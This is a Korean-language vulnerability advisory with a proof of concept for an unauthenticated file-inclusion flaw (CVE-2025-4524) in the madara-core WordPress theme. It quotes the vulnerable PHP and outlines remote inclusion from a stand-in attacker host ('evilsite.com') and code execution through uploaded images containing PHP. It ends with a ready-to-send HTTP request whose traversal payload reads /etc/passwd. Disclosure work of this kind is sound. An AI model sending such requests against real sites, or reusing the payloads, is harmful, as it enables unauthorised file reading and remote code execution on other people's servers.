
CVE-2025-4524 - 인증되지 않은 madara-core 워드프레스 테마 LFI
madara의 madara_load_more 액션에 취약점이 있습니다. 여기서 template 매개변수는 사용자로부터의 임의 데이터이며 PHP의 include 함수에 전달됩니다.
madara의 madara_load_more 액션에 취약점이 있습니다. 여기서 template 매개변수는 사용자로부터의 임의 데이터이며 PHP의 include 함수에 전달됩니다.
취약한 코드는 다음과 같습니다:
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
madara_load_more 쿼리가 성공할 때마다 template을 통해 전달된 템플릿이 결과와 함께 렌더링됩니다. template 매개변수에 plugins 문자열이 있으면 입력이 그대로 include에 전달되고, 없으면 Wordpress가 템플릿을 찾습니다.
이를 사용하여 allow_url_include가 활성화되어 있으면 https://evilsite.com/plugins/evil.php를 사용하거나, 경로 탐색을 통해 임의의 파일을 조회할 수 있습니다. 이 작업을 수행할 때 현재 디렉터리는 wp-content/themes/madara/app/이고 plugins 디렉터리가 존재하므로 plugins/../../../../../wp-content/uploads/evil.png와 같은 파일을 포함할 수 있습니다.
이 취약점은 allow_url_include 설정에 따라 악용될 수 있습니다.
활성화된 경우, 악의적인 공격자는 plugins 문자열이 포함된 요청을 수신하면 악성 PHP 스크립트로 응답하는 HTTP 서버를 설정할 수 있습니다.
비활성화된 경우, 악의적인 공격자는 다른 수단을 통해 Wordpress 인스턴스에 PHP 문자열(이미지 EXIF 메타데이터, 이미지 픽셀 데이터 등)을 포함한 파일을 업로드하고 해당 파일을 include할 수 있습니다. 이렇게 하면 이미지 데이터는 PHP로 해석되지 않고 태그 사이의 PHP만 해석됩니다.
이로 인해 RCE 또는 LFI가 발생할 수 있습니다.

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail